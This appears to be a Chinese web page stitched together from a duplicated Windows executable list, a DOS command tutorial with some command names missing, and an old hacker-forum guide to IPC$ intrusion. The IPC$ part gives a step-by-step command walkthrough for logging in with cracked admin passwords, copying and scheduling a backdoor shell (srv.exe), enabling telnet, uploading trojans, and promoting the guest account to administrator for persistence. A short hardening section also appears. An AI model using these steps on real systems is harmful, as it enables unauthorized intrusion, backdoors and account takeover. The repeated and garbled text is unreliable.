perfmon.exe > starts windows performance monitor 性能監視器
ping.exe > packet internet groper 驗證與遠程計算機的連接
posix.exe > used for backward compatibility with unix 用於兼容unix
print.exe > cmd line used to print files 列印文本文件或顯示列印隊列的內容。
progman.exe > program manager 程序管理器
proquota.exe > profile quota program
psxss.exe > posix subsystem application posix子系統應用程序
qappsrv.exe > displays the available application terminal servers on the net
work
在網路上顯示終端伺服器可用的程序
qprocess.exe > display information about processes local or remote 在本地或遠
程顯示進程的信息（需終端服務）
query.exe > query termserver user process and sessions 查詢進程和對話
quser.exe > display information about a user logged on 顯示用戶登陸的信息（需
終端服務）
qwinsta.exe > display information about terminal sessions. 顯示終端服務的信息
rasadmin.exe > start the remote access admin service 啟動遠程訪問服務
rasautou.exe > creates a ras connection 建立一個ras連接
rasdial.exe > dial a connection 撥號連接
ras.exe > starts a ras connection 運行ras連接
rcp.exe > copies a file from and to a rcp service. 在 windows 2000 計算機和運
行遠程外殼埠監控程序 rshd 的系統之間復制文件
rdpclip.exe > rdpclip allows you to and paste files between a terminal
session and client console session. 再終端和本地復制和粘貼文件
recover.exe > recovers readable information from a bad or defective disk 從壞
的或有缺陷的磁碟中恢復可讀取的信息。
redir.exe > starts the redirector service 運行重定向服務
regedt32.exe > 32-bit register service 32位注冊服務
regini.exe > modify registry permissions from within a script 用腳本修改注冊
許可
register.exe > register a program so it can have special execution character
istics. 注冊包含特殊運行字元的程序
regsvc.exe >
regsvr32.exe > registers and unregister's dll's. as to how and where it regi
ster's them i dont know. 注冊和反注冊dll
regtrace.exe > options to tune debug options for applications failing to m
p trace statements
trace 設置
regwiz.exe > registration wizard 注冊向導
remrras.exe >
replace.exe > replace files 用源目錄中的同名文件替換目標目錄中的文件。
reset.exe > reset an active section 重置活動部分
rexec.exe > runs commands on remote hosts running the rexec service. 在運行
rexec 服務的遠程計算機上運行命令。rexec 命令在執行指定命令前，驗證遠程計算機
上的用戶名，只有安裝了 tcp/ip 協議後才可以使用該命令。
risetup.exe > starts the remote installation service wizard. 運行遠程安裝向導
服務
route.exe > display or edit the current routing tables. 控制網路路由表
routemon.exe > no longer supported 不再支持了！
router.exe > router software that runs either on a dedicated dos or on an os
. 檢查pentium的浮點錯誤
perfmon.exe > starts windows performance monitor 性能監視器
ping.exe > packet internet groper 驗證與遠程計算機的連接
posix.exe > used for backward compatibility with unix 用於兼容unix
print.exe > cmd line used to print files 列印文本文件或顯示列印隊列的內容。
progman.exe > program manager 程序管理器
proquota.exe > profile quota program
psxss.exe > posix subsystem application posix子系統應用程序
qappsrv.exe > displays the available application terminal servers on the net
work
在網路上顯示終端伺服器可用的程序
qprocess.exe > display information about processes local or remote 在本地或遠
程顯示進程的信息（需終端服務）
query.exe > query termserver user process and sessions 查詢進程和對話
quser.exe > display information about a user logged on 顯示用戶登陸的信息（需
終端服務）
qwinsta.exe > display information about terminal sessions. 顯示終端服務的信息
rasadmin.exe > start the remote access admin service 啟動遠程訪問服務
rasautou.exe > creates a ras connection 建立一個ras連接
rasdial.exe > dial a connection 撥號連接
ras.exe > starts a ras connection 運行ras連接
rcp.exe > copies a file from and to a rcp service. 在 windows 2000 計算機和運
行遠程外殼埠監控程序 rshd 的系統之間復制文件
rdpclip.exe > rdpclip allows you to and paste files between a terminal
session and client console session. 再終端和本地復制和粘貼文件
recover.exe > recovers readable information from a bad or defective disk 從壞
的或有缺陷的磁碟中恢復可讀取的信息。
redir.exe > starts the redirector service 運行重定向服務
regedt32.exe > 32-bit register service 32位注冊服務
regini.exe > modify registry permissions from within a script 用腳本修改注冊
許可
register.exe > register a program so it can have special execution character
istics. 注冊包含特殊運行字元的程序
regsvc.exe >
regsvr32.exe > registers and unregister's dll's. as to how and where it regi
ster's them i dont know. 注冊和反注冊dll
regtrace.exe > options to tune debug options for applications failing to m
p trace statements
trace 設置
regwiz.exe > registration wizard 注冊向導
remrras.exe >
replace.exe > replace files 用源目錄中的同名文件替換目標目錄中的文件。
reset.exe > reset an active section 重置活動部分
rexec.exe > runs commands on remote hosts running the rexec service. 在運行
rexec 服務的遠程計算機上運行命令。rexec 命令在執行指定命令前，驗證遠程計算機
上的用戶名，只有安裝了 tcp/ip 協議後才可以使用該命令。
risetup.exe > starts the remote installation service wizard. 運行遠程安裝向導
服務
route.exe > display or edit the current routing tables. 控制網路路由表
routemon.exe > no longer supported 不再支持了！
router.exe > router software that runs either on a dedicated dos or on an os
4. 常用的DOS命令有哪些
DOS 常用命令命令詳解
DOS 常用命令：
dir 列文件名 deltree 刪除目錄樹 cls 清屏 cd 改變當前目錄
拷貝文件 disk 復制磁碟 del 刪除文件 format 格式化磁碟
edit 文本編輯 mem 查看內存狀況 md 建立子目錄 move 移動文件、改目錄名
more 分屏顯示 type 顯示文件內容 rd 刪除目錄 sys 製作DOS系統盤
ren 改變文件名 x 拷貝目錄與文件 chkdsk 檢查磁碟 attrib 設置文件屬性
fdisk 硬碟分區 date 顯示及修改號期 label 設置卷標號 defrag 磁碟碎片整理
msd 系統檢測 path 設置搜尋目錄 share 文件共享 memmaker內存優化管理
help 幫助 restore 恢復備份文件 set 設置環境變數 time 顯示及修改時間
tree 列目錄樹 debug 隨機調試程序 doskey 重新調用DOS命令 prempt 設置提示符 undelete恢復被刪的文件 scandisk檢測、修理磁碟
常用命令具體介紹:
一、Dir
顯示目錄文件和子目錄列表，呵呵，這個當然是人人要知道的。
可以使用通配符（? 和 *），？表通配一個字元，*表通配任意字元
*.後綴
指定要查看後綴的文件。 上面其實也可以為「 . 後綴」,例如dir *.exe 等於dir .exe
/p
每次顯示一個列表屏幕。要查看下一屏，請按鍵盤上的任意鍵。
/w
以寬格式顯示列表，在每一行上最多顯示 5 個文件名或目錄名。
/s
列出指定目錄及所有子目錄中出現的每個指定的文件名。比win環境下的查找快多了
dir *.* -> a.txt 把當前目錄文件列表寫入a.txt
dir *.* /s -> a.txt 把當前目錄文件列表寫入a.txt，包括子目錄下文件。
二、Attrib
顯示、設置或刪除指派給文件或目錄的只讀、存檔、系統以及隱藏屬性。如果在不含參數的情況下使用，則 attrib 會顯示當前目錄中所有文件的屬性。
+r
設置只讀屬性。
-r
清除只讀屬性。
+a
設置存檔文件屬性。
-a
清除存檔文件屬性。
+s
設置系統屬性。
-s
清除系統屬性。
+h
設置隱藏屬性。
-h
清除隱藏屬性。
三、Cls
清除顯示在命令提示符窗口中的所有信息，並返回空窗口，即「清屏」
四、Exit
退出當前命令解釋程序並返回到系統。
五、format
格式化
/q
執行快速格式化。刪除以前已格式化卷的文件表和根目錄，但不在扇區之間掃描損壞區域。使用 /q 命令行選項應該僅格式化以前已格式化的完好的卷。
六、Ipconfig
顯示所有當前的 TCP/IP 網路配置值、刷新動態主機配置協議 (DHCP) 和域名系統 (DNS) 設置。使用不帶參數的 ipconfig 可以顯示所有適配器的 IP 地址、子網掩碼、默認網關。
/all
顯示所有適配器的完整 TCP/IP 配置信息。
ipconfig 等價於 winipcfg，後者在ME、98 和 95 上可用。盡管 Windows XP 沒有提供象 winipcfg 命令一樣的圖形化界面，但可以使用「網路連接」查看和更新 IP 地址。要做到這一點，請打開 網路連接，右鍵單擊某一網路連接，單擊「狀態」，然後單擊「支持」選項卡。
該命令最適用於配置為自動獲取 IP 地址的計算機。它使用戶可以確定哪些 TCP/IP 配置值是由 DHCP、自動專用 IP 地址 (APIPA) 和其他配置配置的。
七、md
創建目錄或子目錄
八、Move
將一個或多個文件從一個目錄移動到指定的目錄。
九、Nbtstat
顯示本地計算機和遠程計算機的基於 TCP/IP (NetBT) 協議的 NetBIOS 統計資料、NetBIOS 名稱表和 N
etBIOS 名稱緩存。Nbtstat 可以刷新 NetBIOS 名稱緩存和注冊的 Windows Internet 名稱服務 (WINS) 名稱。使用不帶參數的 nbtstat 顯示幫助。Nbtstat 命令行參數區分大小寫。
-a remotename
顯示遠程計算機的 NetBIOS 名稱表，其中，RemoteName 是遠程計算機的 NetBIOS 計算機名稱。
-A IPAddress
顯示遠程計算機的 NetBIOS 名稱表，其名稱由遠程計算機的 IP 地址指定（以小數點分隔）。
十、Netstat
顯示活動的 TCP 連接、計算機偵聽的埠、乙太網統計信息、IP 路由表、IPv4 統計信息（對於 IP、ICMP、TCP 和 UDP 協議）以及 IPv6 統計信息（對於 IPv6、ICMPv6、通過 IPv6 的 TCP 以及通過 IPv6 的 UDP 協議）。使用時如果不帶參數，netstat 顯示活動的 TCP 連接。
-a
顯示所有活動的 TCP 連接以及計算機偵聽的 TCP 和 UDP 埠。
十一、Ping
通過發送「網際消息控制協議 (ICMP)」回響請求消息來驗證與另一台 TCP/IP 計算機的 IP 級連接。回響應答消息的接收情況將和往返過程的次數一起顯示出來。Ping 是用於檢測網路連接性、可到達性和名稱解析的疑難問題的主要 TCP/IP 命令。如果不帶參數，ping 將顯示幫助。名稱和Ip地址解析是它的最簡單應用也是用的最多的。
-t
指定在中斷前 ping 可以持續發送回響請求信息到目的地。要中斷並顯示統計信息，請按 CTRL-BREAK。要中斷並退出 ping，請按 CTRL-C。
-lSize
指定發送的回響請求消息中「數據」欄位的長度（以位元組表示）。默認值為 32。size 的最大值是 65,527。
十二、Rename (Ren)
更改文件的名稱。
例如 ren *.abc *.cba
十三、Set
顯示、設置或刪除環境變數。如果沒有任何參數，set 命令將顯示當前環境設置。
十四、Shutdown
允許您關閉或重新啟動本地或遠程計算機。如果沒有使用參數，shutdown 將注銷當前用戶。
-m ComputerName
指定要關閉的計算機。
-t xx
將用於系統關閉的定時器設置為 xx 秒。默認值是 20 秒。
-l
注銷當前用戶，這是默認設置。-m ComputerName 優先。
-s
關閉本地計算機。
-r
關閉之後重新啟動。
-a
中止關閉。除了 -l 和 ComputerName 外，系統將忽略其它參數。在超時期間，您只可以使用 -a。
十五、System File Checker (sfc)
win下才有，在重新啟動計算機後掃描和驗
證所有受保護的系統文件。
/scannow
立即掃描所有受保護的系統文件。
/scanonce
一次掃描所有受保護的系統文件。
/purgecache
立即清除「Windows 文件保護」文件高速緩存，並掃描所有受保護的系統文件。
/cachesize=x
設置「Windows 文件保護」文件高速緩存的大小，以 MB 為單位。
十六、type
顯示文本文件的內容。使用 type 命令查看文本文件或者是bat文件而不修改文件
十七、Tree
圖像化顯示路徑或驅動器中磁碟的目錄結構。
十八、X
復制文件和目錄，包括子目錄。
/s
復制非空的目錄和子目錄。如果省略 /s，x 將在一個目錄中工作。
/e
復制所有子目錄，包括空目錄。
十九、
將一個或多個文件從一個位置復制到其他位置
二十、del
刪除指定文件。
ftp和bat批命令和net和telnet由於子命令太多，這里不說了，不過這幾個都是常用到的。
IPC$命令詳解:
網上關於ipc$入侵的文章可謂多如牛毛,而且也不乏優秀之作,攻擊步驟甚至可以說已經成為經典的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄.
不過話雖這樣說,但我個人認為這些文章講解的並不詳細,對於第一次接觸ipc$的菜鳥來說,簡單的羅列步驟並不能解答他們的許多迷惑(你隨便找一個hack論壇搜一下ipc,看存在的疑惑有多少).
因此我寫了這篇相當於解惑的教程.想把一些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!如果你看完這篇帖子仍有疑問,請馬上回復!
二 什麼是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這么說的)，它是為了讓進程間通信而開放的命名管道，可以通過驗證用戶名和密碼獲得相應的許可權,在遠程管理計算機和查看計算機的共享資源時使用。
利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然,對方機器必須開了ipc$共享,否則你是連接不上的)，而利用這個空的連接，連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。
我們總在說ipc$漏洞ipc$漏洞,其實,ipc$並不是真正意義上的漏洞,它是為了方便管理員的遠程管理而開放的遠程網路登陸功能,而且還打開了默認共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。
所有的這些,初衷都是為了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者(到底是什麼用心?我也不知道,代詞一個)會利用IPC$，訪問共享資源,導出用戶列表,並使用一些字典工具，進行密碼探測,寄希望於獲得更高的許可權,從而達到不可告人的目的.
解惑:
1)IPC連接是Windows NT及以上系統中特有的遠程網路登陸功能，其功能相當於Unix中的Telnet,由於IPC$功能需要用到Windows NT中的很多DLL函數，所以不能在Windows 9.x中運行。
也就是說只有nt/2000/xp才可以建立ipc$連接,98/me是不能建立ipc$連接的(但有些朋友說在98下能建立空的連接,不知道是真是假,不過現在都2003年了,建議98的同志換一下系統吧,98不爽的)
2)即使是空連接也不是100%都能建立成功,如果對方關閉了ipc$共享,你仍然無法建立連接
3)並不是說建立了ipc$連接就可以查看對方的用戶列表,因為管理員可以禁止導出用戶列表
三 建立ipc$連接在hack攻擊中的作用
就像上面所說的,即使你建立了一個空的連接,你也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪問部分共享,如果你能夠以某一個具有
一定許可權的用戶身份登陸的話,那麼你就會得到相應的許可權,顯然,如果你以管理員身份登陸,嘿嘿,就不用我在多說了吧,what u want,u can do!!
(基本上可以總結為獲取目標信息、管理目標進程和服務,上傳木馬並運行,如果是2000server，還可以考慮開啟終端服務方便控制.怎麼樣?夠厲害吧!)
不過你也不要高興的太早,因為管理員的密碼不是那麼好搞到的,雖然會有一些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼會越來越難的:(
因此今後你最大的可能就是以極小的許可權甚至是沒有許可權進行連接,你會慢慢的發現ipc$連接並不是萬能的,甚至在主機不開啟ipc$共享時,你根本就無法連接.
所以我認為,你不要把ipc$入侵當作終極武器,不要認為它戰無不勝,它就像是足球場上射門前的傳球,很少會有致命一擊的效果,但卻是不可缺少的,我覺得這才是ipc$連接在hack入侵中的意義所在.
四 ipc$與空連接,139,445埠,默認共享的關系
以上四者的關系可能是菜鳥很困惑的一個問題,不過大部分文章都沒有進行特別的說明,其實我理解的也不是很透徹,都是在與大家交流中總結出來的.(一個有良好討論氛圍的BBS可以說是菜鳥的天堂)
1)ipc$與空連接:
不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了.
許多人可能要問了,既然可以空連接,那我以後就空連接好了,為什麼還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當你以空連接登陸時,你沒有任何許可權(很郁悶吧),而你以用戶或管理員的身份登陸時,你就會有相應的許可權(有許可權誰不想呀,所以還是老老實實掃吧,不要偷懶喲).
2)ipc$與139,445埠:
ipc$連接可以實現遠程登陸及對默認共享的訪問;而139埠的開啟表示netbios協議的應用,我們可以通過139,445(win2000)埠實現對共享文件/列印機的訪問,因此一般來講,ipc$連接是需要139或445埠來支持的.
3)ipc$與默認共享
默認共享是為了方便管理員遠程管理而默認開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連接可以實現對這些默認共享的訪問(前提是對方沒有關閉這些默認共享)
五 ipc$連接失敗的原因
以下5個原因是比較常見的:
1)你的系統不是NT或以上****作系統;
2)對方沒有打開ipc$默認共享
3)對方未開啟139或445埠(惑被防火牆屏蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)用戶名或密碼錯誤(空連接當然無所謂了)
另外,你也可以根據返回的錯誤號分析原因：
錯誤號5，拒絕訪問 ： 很可能你使用的用戶不是管理員許可權的，先提升許可權；
錯誤號51，Windows 無法找到網路路徑 : 網路有問題；
錯誤號53，找不到網路路徑 ： ip地址錯誤；目標未開機；目標lanmanserver服務未啟動；目標有防火牆（埠過濾）；
錯誤號67，找不到網路名 ： 你的lanmanworkstation服務未啟動；目標刪除了ipc$；
錯誤號1219，提供的憑據與已存在的憑據集沖突 ： 你已經和對方建立了一個ipc$，請刪除再連。
錯誤號1326，未知的用戶名或錯誤密碼 ： 原因很明顯了；
錯誤號1792，試圖登錄，但是網路登錄服務沒有啟動 ： 目標NetLogon服務未啟動。（連接域控會出現此情況）
錯誤號2242，此用戶的密碼已經過期 ： 目標有帳號策略，強制定期要求更改密碼。
關於ipc$連不上的問題比較復雜，除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就*大家自己體會和試驗了.
<br>六 如何打開目標的IPC$(此段引自相關文章)
首先你需要獲得一個不依賴於ipc$的shell，比如sql的cmd擴展、telnet、木馬,當然，這shell必須是admin許可權的,然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上面可以知道，ipc$能否使用還有很多條件。請確認相關服務都已運行，沒有就啟動它（不知道怎麼做的請看net命令的用法）,還是不行的話（比如有防火牆，殺不了）建議放棄。
七 如何防範ipc$入侵
1禁止空連接進行枚舉(此****作並不能阻止空連接的建立,引自《解剖win2000下的空會話》)
首先運行regedit，找到如下組建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為：00000001(如果設置為2的話,有一些問題會發生,比如一些WIN的服務出現問題等等)
2禁止默認共享
1）察看本地共享資源
運行-cmd-輸入net share
2）刪除共享(每次輸入一個）
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete（如果有e,f,……可以繼續刪除）
3）停止server服務
net stop server /y （重新啟動後server服務會重新開啟）
4）修改注冊表
運行-regedit
server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer（DWORD）的鍵值改為:00000000。
pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks（DWORD）的鍵值改為:00000000。
如果上面所說的主鍵不存在，就新建(右擊-新建-雙位元組值）一個主健再改鍵值。
3永久關閉ipc$和默認共享依賴的服務:lanmanserver即server服務
控制面板-管理工具-服務-找到server服務（右擊）-屬性-常規-啟動類型-已禁用
4安裝防火牆(選中相關設置)，或者埠過濾(濾掉139,445等),或者用新版本的優化大師
5設置復雜密碼，防止通過ipc$窮舉密碼
八 相關命令
1)建立空連接:
net use $">\\IP\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格)
2)建立非空連接:
net use $">\\IP\ipc$ "用戶名" /user:"密碼" (同樣有3個空格)
3)映射默認共享:
net use z: $">\\IP\c$ "密碼" /user:"用戶名" (即可將對方的c盤映射為自己的z盤，其他盤類推)
如果已經和目標建立了ipc$，則可以直接用IP+盤符+$訪問,具體命令 net use z: $">\\IP\c$
4)刪除一個ipc$連接
net&nbs
p;use $">\\IP\ipc$ /del
5)刪除共享映射
net use c: /del 刪除映射的c盤，其他盤類推
net use * /del 刪除全部,會有提示要求按y確認
九 經典入侵模式
這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)
11. C:\>net use $">\\127.0.0.1\IPC$ "密碼" /user:"用戶名"
一般用流光，通過掃描弱口令來得到，管理員帳號和密碼.
2. C:\> srv.exe $">\\127.0.0.1\admin$
先復制srv.exe上去，在流光的Tools目錄下就有（這里的$是指admin用戶的c:\winnt\system32\，大家還可以使用c$、d$，意思是C盤與D盤，這看你要復制到什麼地方去了）。
3. C:\>net time \\127.0.0.1
查查時間，發現127.0.0.1 的當前時間是 2004/6/15 上午 11:00，命令成功完成。
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧
5. C:\>net time \\127.0.0.1
再查查到時間沒有？如果127.0.0.1 的當前時間是 2004/6/15 上午 11:05，那就准備開始下面的命令。
6. C:\>telnet 127.0.0.1 99
這里會用到Telnet命令吧，注意埠是99。Telnet默認的是23埠，但是我們使用的是SRV在對方計算機中為我們建立一個99埠的Shell。
雖然我們可以Telnet上去了，但是SRV是一次性的，下次登錄還要再激活！所以我們打算建立一個Telnet服務！這就要用到ntlm了
7.C:\> ntlm.exe $">\\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上（ntlm.exe也是在《流光》的Tools目錄中）。
8. C:\WINNT\system32>ntlm
輸入ntlm啟動（這里的C:\WINNT\system32>指的是對方計算機，運行ntlm其實是讓這個程序在對方計算機上運行）。當出現"DONE"的時候，就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務！
9. Telnet 127.0.0.1，接著輸入用戶名與密碼就進入對方了，****作就像在DOS上****作一樣簡單！(然後你想做什麼?想做什麼就做什麼吧,哈哈)
為了以防萬一,我們再把guest激活加到管理組
10. C:\>net user guest /active:yes
將對方的Guest用戶激活
11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼
12. C:\>net localgroup administrators guest /add
將Guest變為Administrator(如果管理員密碼更改，guest帳號沒改變的話，下次我們可以用guest再次訪問這台計算機)
ipc$常見問題:
1，怎樣建立空連接，它有什麼用？
答：使用命令 net use \IPipc$ "" /user:"" 就可以簡單地和目標建立一個空連接（需要目標開放ipc$）。
對於NT，在默認安全設置下，藉助空連接可以列舉目標用戶、共享，訪問everyone許可權的共享，訪問小部分注冊表等，沒有什麼利用價值。對2000作用就更小了。而且實現也不方便，需藉助工具。
2.為什麼我連不上IPC$？
答：1.只有nt/2000/xp及以上系統才可以建立ipc$。如果你用的是98/me是沒有該功能的。
2.確認你的命令沒有打錯。正確的命令是： net use \目標IPipc$ "密碼" /user:"用戶名"
注意別多了或少了空格。當用戶名和密碼中不包含空格時兩邊的雙引號可以省略。空密碼用""表示。
3，根據返回的錯誤號分析原因：
錯誤號5，拒絕訪問 ： 很可能你使用的用戶不是管理員許可權的，先提升許可權；
錯誤號51，Windows 無法找到網路路徑 : 網路有問題；
錯誤號53，找不到網路路徑 ： ip地址錯誤；目標未開機；目標lanmanserver服務未啟動；目標有防火牆（埠過濾）；
錯誤號67，找不到網路名 ： 你的lanmanworkstation服務未啟動；目標刪除了ipc$；
錯誤號1219，提供的憑據與已存在的憑據集沖突 ： 你已經和對方建立了一個ipc$，請刪除再連。
錯誤號1326，未知的用戶名或錯誤密碼 ： 原因很明顯了；
錯誤號1792，試圖登錄，但是網路登錄服務沒有啟動 ： 目標NetLogon服務未啟動。（連接域控會出現此情況）
錯誤號2242，此用戶的密碼已經過期 ： 目標有帳號策略，強制定期要求更改密碼。
4，關於ipc$連不上的問題比較復雜，沒有總結出一個統一的認識，在肉雞上實驗有時會得出矛盾的結論，十分棘手。 而且知道了問題所在，如果沒有用其他辦法獲得shell，很多問題依然不能解決。
5，怎樣打開目標的IPC$？
答：首先你需要獲得一個不依賴於ipc$的shell，比如sql的cmd擴展、telnet、木馬。當然，這shell必須是admin許可權的。然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上一問題可以知道，ipc$能否使用還有很多條件。請確認相關服務都已運行，沒有就啟動它（不知道怎麼做的請看net命令的用法）。還是不行的話（比如有防火牆，殺不了）建議放棄。
6，怎樣映射和訪問默認共享？
答：使用命令 net use z: \目標IPc$ "密碼" /user:"用戶名" 將對方的c盤映射為自己的z盤，其他盤類推。
如果已經和目標建立了ipc$，則可以直接用IP加盤符加$訪問。比如 muma.exe \IPd$pathmuma.exe 。或者再映射也可以，只是不用用戶名和密碼了：net use y: \IPd$ 。然後 muma.exe y:pathmuma.exe 。當路徑中包含空格時，須用""將路徑全引住。
7，如何刪除映射和ipc$連接？
答：用命令 net use \IPipc$ /del 刪除和一個目標的ipc$連接。
用命令 net use z: /
del 刪除映射的z盤，其他盤類推。
用命令 net use * /del 刪除全部。會有提示要求按y確認。
8，連上ipc$然後我能做什麼？
答：能使用管理員許可權的帳號成功和目標連接ipc$，表示你可以和對方系統做深入「交流」了。你可以使用各種命令行方式的工具（比如pstools系列、Win2000SrvReskit、telnethack等）獲得目標信息、管理目標的進程和服務等。如果目標開放了默認共享（沒開你就幫他開），你就可以上傳木馬並運行。也可以用tftp、ftp的辦法上傳。像dwrcc、VNC、RemoteAdmin等工具（木馬）還具有直接控屏的功能。如果是2000server，還可以考慮開啟終端服務方便控制。這里提到的工具的使用，請看自帶的說明或相關教程。
9，怎樣防止別人用ips$和默認共享入侵我？
答：A、一種辦法是把ipc$和默認共享都刪除了。但重起後還會有。這就需要改注冊表。
1，先把已有的刪除
net share ipc$ /del
net share admin$ /del
net share c$ /del
…………（有幾個刪幾個）
2，禁止別人空連接
首先運行regedit，找到如下主鍵[HKEY_LOCAL_]把RestrictAnonymous（DWORD）的鍵值改為：00000002。
3，禁止自動打開默認共享
對於server版，找到如下主鍵[HKEY_LOCAL_]把AutoShareServer（DWORD）的鍵值改為:00000000。
對於pro版，則是[HKEY_LOCAL_]把AutoShareWks（DWORD）的鍵值改為:00000000。
如果上面所說的主鍵不存在，就新建一個再改鍵值。
B、另一種是關閉ipc$和默認共享依賴的服務（不推薦）
net stop lanmanserver
可能會有提示說，XXX服務也會關閉是否繼續。因為還有些次要的服務依賴於lanmanserver。一般情況按y繼續就可以了。
C、最簡單的辦法是設置復雜密碼，防止通過ipc$窮舉密碼。但如果你有其他漏洞，ipc$將為進一步入侵提供方便。
D、還有一個辦法就是裝防火牆，或者埠過濾
不常用DOS命令
diskcomp磁碟比較 append 設置非執行文件路徑
expand 還原DOS文件 fasthelp快速顯示幫助信息
fc 文件比較 interink啟動伺服器
setver 設置版本 intersvr啟動客戶機
subst 路徑替換 qbasic Basic集成環境
vsafe 防病毒 unformat恢復已格式化的磁碟
ver 顯示DOS版本號 smartdrv設置磁碟加速器
vol 顯示磁碟卷標號 lh 將程序裝入高端內存
ctty 改變控制設備 emm386 擴展內存管理